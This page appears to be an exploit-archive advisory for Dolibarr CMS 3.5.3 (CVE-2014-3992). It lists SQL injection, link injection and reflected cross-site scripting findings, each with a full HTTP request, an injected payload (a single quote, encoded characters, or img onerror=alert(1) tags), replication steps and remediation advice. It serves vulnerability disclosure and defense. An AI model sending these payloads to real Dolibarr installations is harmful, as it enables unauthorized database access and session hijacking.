exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Dolibarr CMS 3.5.3 SQL Injection / Cross Site Scripting

Dolibarr CMS 3.5.3 SQL Injection / Cross Site Scripting
Posted Jul 8, 2014
Authored by Deepak Rathore

Dolibarr CMS version 3.5.3 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
advisories | CVE-2014-3992
SHA-256 | 40fff482ae1852b3eb422ccca24b3d40df55a5ff8764cde2d5de7e97d4ac32f5

Dolibarr CMS 3.5.3 SQL Injection / Cross Site Scripting

Change Mirror Download
Vulnerability Name: SQL injection
Severity: Critical
URL: http://localhost/dolibarr/user/fiche.php
Affected Users: All authenticated users

Issue details: The "entity" parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the entity parameter, and a database error message was returned.

The database appears to be MySQL.

HTTP request:
POST /dolibarr/user/fiche.php?id=2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/user/fiche.php?id=2&action=edit
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------89552749915619
Content-Length: 2023

-----------------------------89552749915619
Content-Disposition: form-data; name="token"

4e3018ee618da95bccb8c38845a4f027
-----------------------------89552749915619
Content-Disposition: form-data; name="action"

update
-----------------------------89552749915619
Content-Disposition: form-data; name="entity"

1'
-----------------------------89552749915619
Content-Disposition: form-data; name="lastname"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="photo"; filename=""
Content-Type: application/octet-stream


-----------------------------89552749915619
Content-Disposition: form-data; name="firstname"

test1
-----------------------------89552749915619
Content-Disposition: form-data; name="job"


-----------------------------89552749915619
Content-Disposition: form-data; name="login"

test
-----------------------------89552749915619
Content-Disposition: form-data; name="password"

123qwe,./
-----------------------------89552749915619
Content-Disposition: form-data; name="admin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="superadmin"

0
-----------------------------89552749915619
Content-Disposition: form-data; name="office_phone"


-----------------------------89552749915619
Content-Disposition: form-data; name="user_mobile"


-----------------------------89552749915619
Content-Disposition: form-data; name="office_fax"


-----------------------------89552749915619
Content-Disposition: form-data; name="email"


-----------------------------89552749915619
Content-Disposition: form-data; name="signature"


-----------------------------89552749915619
Content-Disposition: form-data; name="fk_user"

-1
-----------------------------89552749915619
Content-Disposition: form-data; name="accountancy_code"


-----------------------------89552749915619
Content-Disposition: form-data; name="save"

Save
-----------------------------89552749915619--

Affected parameter(s): entity

Steps to replicate:
1. Login into Dolibarr application with any user and go to "Users & Group" --> "User Card".
2. Click on modify to modify the user details
3. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
4. After starting tamper data addon, click on save to save the user details and intercept the request
5. Manipulate entity parameter original value 1 with 1' and submit the request and see the output in browser
6. A single quote was submitted in the entity parameter, and a database error message was returned that is the proof of vulnerability

Remediation detail: The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Issue background: SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query. Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Tools used: Mozilla Firefox browser and Tamper Data Addon








Vulnerability Name: SQL injection

Severity: Critical

URL: http://localhost/dolibarr/user/group/index.php
Affected Users: All authenticated users

Issue details: The "sortorder " parameter appears to be vulnerable to SQL injection attacks. Attack payload 1##xa7## was submitted in the sortorder parameter, and a database error message was returned.

The database appears to be MySQL.

HTTP request:
GET /dolibarr/user/group/index.php?begin=&sall=&&search_group=&sortfield=g.nom&sortorder=1%c0%00xa7%c0%a2 HTTP/1.1
Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=plsgp95ms82gnmrbp544u9tb71
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

Affected parameter(s): sortorder

Steps to replicate:
1. Login into Dolibarr application with any user and put below URL in address bar of the browser and see the response
2. A database error message was returned that is the proof of vulnerability



Remediation detail: The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Issue background: SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query. Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Tools used: Mozilla Firefox browser








Vulnerability Name: Link Injection (facilitates Cross-Site Request Forgery)
Severity: Critical
Affected Users: All authenticated users

Issue details: The value of the dol_hide_leftmenu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %22%27%3E%3CIMG+SRC%3D%22http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/Flag_of_Edward_England.svg/750px-Flag_of_Edward_England.svg.png%22%3E was submitted in the dol_hide_leftmenu parameter. The test response contained a link to the file "http://www.google.com/sites /overview.html", which proves that the Cross-Site Request Forgery attempt was successful.

HTTP request:
POST /dolibarr/index.php?mainmenu=home HTTP/1.0
Cookie: DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=t2h9dudaj2qm7vp2skgkhpgs94
Content-Length: 328
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/dolibarr/

token=c9f908a134c0df6b6837b3cf06987c90&loginfunction=loginfunction&tz=&tz_string=&dst_observed=&dst_first=&dst_second=&screenwidth=&screenheight=&dol_hide_topmenu=&dol_hide_leftmenu= %22%27%3E%3CIMG+SRC%3D%22http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/Flag_of_Edward_England.svg/750px-Flag_of_Edward_England.svg.png%22%3E &dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=&username=test&password=123qwe%2C.%2F

Steps to replicate:
1. Open Dolibarr application in browser.
2. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
3. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
4. Manipulate dol_hide_leftmenu parameter value with payload %22%27%3E%3CIMG+SRC%3D%22http://upload.wikimedia.org/wikipedia/commons/thumb/f/ff/Flag_of_Edward_England.svg/750px-Flag_of_Edward_England.svg.png%22%3E and submit the request and see the output in browser
5. The test response contained a link to the file " http://upload.wikimedia.org/wikipedia/ commons/thumb/f/ff/Flag_of_Edward_England.svg/750px-Flag_of_Edward_England.svg.png ", which proves that the Cross-Site Request Forgery attempt was successful. Below Parameters are vulnerable to Link Injection vulnerability
Parameter URL
dol_use_jmobile http://localhost/dolibarr/index.php
dol_optimize_smallscreen http://localhost/dolibarr/index.php
dol_no_mouse_hover http://localhost/dolibarr/index.php
dol_hide_topmenu http://localhost/dolibarr/index.php
dol_hide_leftmenu http://localhost/dolibarr/index.php
dol_use_jmobile http://localhost/dolibarr/user/index.php
dol_optimize_smallscreen http://localhost/dolibarr/user/index.php
dol_no_mouse_hover http://localhost/dolibarr/user/index.php
dol_hide_topmenu http://localhost/dolibarr/user/index.php
dol_hide_leftmenu http://localhost/dolibarr/user/index.php
dol_use_jmobile http://localhost/dolibarr/user/logout.php
dol_optimize_smallscreen http://localhost/dolibarr/user/logout.php
dol_no_mouse_hover http://localhost/dolibarr/user/logout.php
dol_hide_topmenu http://localhost/dolibarr/user/logout.php
dol_hide_leftmenu http://localhost/dolibarr/user/logout.php

Remediation detail: In most situations where user-controllable data is copied into application responses, Link Injection attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
Tools used: Mozilla Firefox browser and Tamper Data Addon








Vulnerability Name: Cross-site scripting (reflected)
Severity: Critical
URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the dol_hide_leftmenu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ddc8"><img src=a onerror=alert(1)>f1fc4 was submitted in the dol_hide_leftmenu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/index.php?mainmenu=home HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

token=cdc88516f780d87f909672aa6046513f&loginfunction=loginfunction&tz=&tz_string=&dst_observed=&dst_first=&dst_second=&screenwidth=&screenheight=&dol_hide_topmenu=&dol_hide_leftmenu=6ddc8"><img%20src%3da%20onerror%3dalert(1)>f1fc4&dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=&username=test&password=123qwe%2C.%2F

Affected parameter(s): dol_hide_leftmenu

Steps to replicate:
1. Open Dolibarr application in browser.
2. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
3. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
4. Manipulate dol_hide_leftmenu parameter value with payload 6ddc8"><img%20src%3da%20onerror%3dalert(1)>f1fc4 and submit the request and see the output in browser
5. This input was echoed unmodified in the application's response that is the proof of vulnerability


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon








Vulnerability Name: Cross-site scripting (reflected)
Severity: Critical
URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the dol_hide_topmenu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 0dc2b"><img src=a onerror=alert(1)>8edb9 was submitted in the dol_hide_topmenu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/index.php?mainmenu=home HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

token=cdc88516f780d87f909672aa6046513f&loginfunction=loginfunction&tz=&tz_string=&dst_observed=&dst_first=&dst_second=&screenwidth=&screenheight=&dol_hide_topmenu=0dc2b"><img%20src%3da%20onerror%3dalert(1)>8edb9&dol_hide_leftmenu=&dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=&username=test&password=123qwe%2C.%2F

Affected parameter(s): dol_hide_topmenu

Steps to replicate:
6. Open Dolibarr application in browser.
7. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
8. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
9. Manipulate dol_hide_topmenu parameter value with payload 0dc2b"><img src=a onerror=alert(1)>8edb9 and submit the request and see the output in browser
10. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon






























Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the dol_no_mouse_hover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a37bc"><img src=a onerror=alert(1)>fce43 was submitted in the dol_no_mouse_hover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/index.php?mainmenu=home HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

token=cdc88516f780d87f909672aa6046513f&loginfunction=loginfunction&tz=&tz_string=&dst_observed=&dst_first=&dst_second=&screenwidth=&screenheight=&dol_hide_topmenu=&dol_hide_leftmenu=&dol_optimize_smallscreen=&dol_no_mouse_hover=a37bc"><img%20src%3da%20onerror%3dalert(1)>fce43&dol_use_jmobile=&username=test&password=123qwe%2C.%2F

Affected parameter(s): dol_no_mouse_hover

Steps to replicate:
11. Open Dolibarr application in browser.
12. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
13. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
14. Manipulate dol_no_mouse_hover parameter value with payload a37bc"><img src=a onerror=alert(1)>fce43 and submit the request and see the output in browser
15. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon






























Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the dol_optimize_smallscreen request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19600"><img src=a onerror=alert(1)>6f8bd was submitted in the dol_optimize_smallscreen parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/index.php?mainmenu=home HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

token=cdc88516f780d87f909672aa6046513f&loginfunction=loginfunction&tz=&tz_string=&dst_observed=&dst_first=&dst_second=&screenwidth=&screenheight=&dol_hide_topmenu=&dol_hide_leftmenu=&dol_optimize_smallscreen=19600"><img%20src%3da%20onerror%3dalert(1)>6f8bd&dol_no_mouse_hover=&dol_use_jmobile=&username=test&password=123qwe%2C.%2F

Affected parameter(s): dol_optimize_smallscreen

Steps to replicate:
16. Open Dolibarr application in browser.
17. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
18. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
19. Manipulate dol_optimize_smallscreen parameter value with payload 19600"><img%20src%3da%20onerror%3dalert(1)>6f8bd and submit the request and see the output in browser
20. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon

Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the dol_use_jmobile request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88791"><img src=a onerror=alert(1)>d1066 was submitted in the dol_use_jmobile parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The proof-of-concept attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

HTTP request:
POST /dolibarr/index.php?mainmenu=home HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/dolibarr/
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282

token=cdc88516f780d87f909672aa6046513f&loginfunction=loginfunction&tz=&tz_string=&dst_observed=&dst_first=&dst_second=&screenwidth=&screenheight=&dol_hide_topmenu=&dol_hide_leftmenu=&dol_optimize_smallscreen=&dol_no_mouse_hover=&dol_use_jmobile=88791"><img%20src%3da%20onerror%3dalert(1)>d1066&username=test&password=123qwe%2C.%2F

Affected parameter(s): dol_use_jmobile

Steps to replicate:
21. Open Dolibarr application in browser.
22. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
23. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
24. Manipulate dol_use_jmobile parameter value with payload 88791"><img src=a onerror=alert(1)>d1066 and submit the request and see the output in browser
25. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
• Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
• User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Issue background: Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Tools used: Mozilla Firefox browser and Tamper Data Addon

Vulnerability Name: Cross-site scripting (reflected)

Severity: Critical

URL: http://localhost/dolibarr/index.php
Affected Users: All authenticated users

Issue details: The value of the mainmenu request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%37%36%36%32%36%29%3c%2f%73%43%72%49%70%54%3e was submitted in the mainmenu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

HTTP request:
GET /dolibarr/index.php?mainmenu=home%2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%37%36%36%32%36%29%3c%2f%73%43%72%49%70%54%3e&leftmenu=&optioncss=print HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8082/dolibarr/index.php?mainmenu=home&leftmenu=
Cookie: mp_5e17e15e77e349ee2850bffcebb7cdeb_mixpanel=%7B%22distinct_id%22%3A%20%22144d6cce6fc4b0-0010965be81e618-45564137-100200-144d6cce6fd4c5%22%2C%22%24initial_referrer%22%3A%20%22http%3A%2F%2Flocalhost%2Fmyreportmanager%2F%22%2C%22%24initial_referring_domain%22%3A%20%22localhost%22%7D; __atuvc=38%7C15; SESS2f090b9824406e4362345a00f588b0ff=V7rHt4JgSz2U5BlEwtMcAtf53OtKRt0mhSfrFrb3n-w; DOLSESSID_636e2e420d10c4a9056d9a4aacf317fb=34g5b7ckocvhn7ubkadjr47n55
Connection: keep-alive

Affected parameter(s): mainmenu





Steps to replicate:
26. Open Dolibarr application in browser.
27. Start any interception tool to intercept the request i.e. tamper data mozilla addon, burp suite, owasp zap etc. I have used mozilla firefox browser and tamper data addon.
28. After starting tamper data addon, fill login details and click on connection button to login into application and intercept the request
29. Manipulate mainmenu parameter value with payload %2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%37%36%36%32%36%29%3c%2f%73%43%72%49%70%54%3e
or submit http://localhost/dolibarr/index.php?mainmenu=home%2d%2d%3e%3c%2f%73%43%72%49%70%54%3e%3c%73%43%72%49%70%54%3e%61%6c%65%72%74%28%37%36%36%32%36%29%3c%2f%73%43%72%49%70%54%3e&leftmenu=&optioncss=print in address bar and see the output in browser
30. This input was echoed unmodified in the application's response that is the proof of vulnerability

Screenshot:


Remediation detail: In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
